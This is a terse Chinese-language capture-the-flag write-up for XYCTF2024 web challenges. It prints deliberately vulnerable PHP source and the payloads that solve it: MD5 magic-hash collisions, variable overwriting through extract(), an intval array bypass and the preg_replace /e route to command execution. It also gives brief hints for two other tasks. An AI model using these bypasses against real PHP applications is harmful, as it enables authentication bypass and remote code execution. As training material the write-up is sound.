XYCTF2024
warm up
又是md5
源码
<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {echo "ez" . "<br>";
} else {die("什么情况,这么基础的md5做不来");
}if (isset($md5) && $md5 == md5($md5)) {echo "ezez" . "<br>";
} else {die("什么情况,这么基础的md5做不来");
}if ($XY == $XYCTF) {if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {echo $level2;} else {die("什么情况,这么基础的md5做不来");}
} else {die("学这么久,传参不会传?");
}什么情况,这么基础的md5做不来
传入 ?val1=QLTHNDT&val2=s878926199a
传入 &md5=0e215962017
extract
是典型的变量覆盖关键字
传入 &XY=Warm up
然后发现 md5($XY) == md5("XYCTF_550102591")
无论如何都行不通
看了wp 换了个思路
查看 md5("XYCTF_550102591")
是0e开头的,$XY
和$XYCTF
传入一样的值,条件全部满足
构造payload
?val1=QLTHNDT&val2=s878926199a&md5=0e215962017&XY=PJNPDWY&XYCTF=PJNPDWY
进入第二部分
LLeeevvveeelll222.php
<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {echo "操作你O.o";echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); // 我可不会像别人一样设置10来个level
} else {die("有点汗流浃背");
}有点汗流浃背
intval函数可以获取变量的整数值,用于强制类型转换
利用数组绕过 a[]=1
preg_replace()默认是替换所有符号匹配条件的元素
绕过 preg_replace
函数
本题采用的是无限传参 参考文章
本题是 /e
执行任意命令
ezmd5
随便上传两张照片 发现是需要两张照片的md5值相等
原文链接
ezhttp
扫描后台
访问robots.txt
接着访问
伪造refer
抓包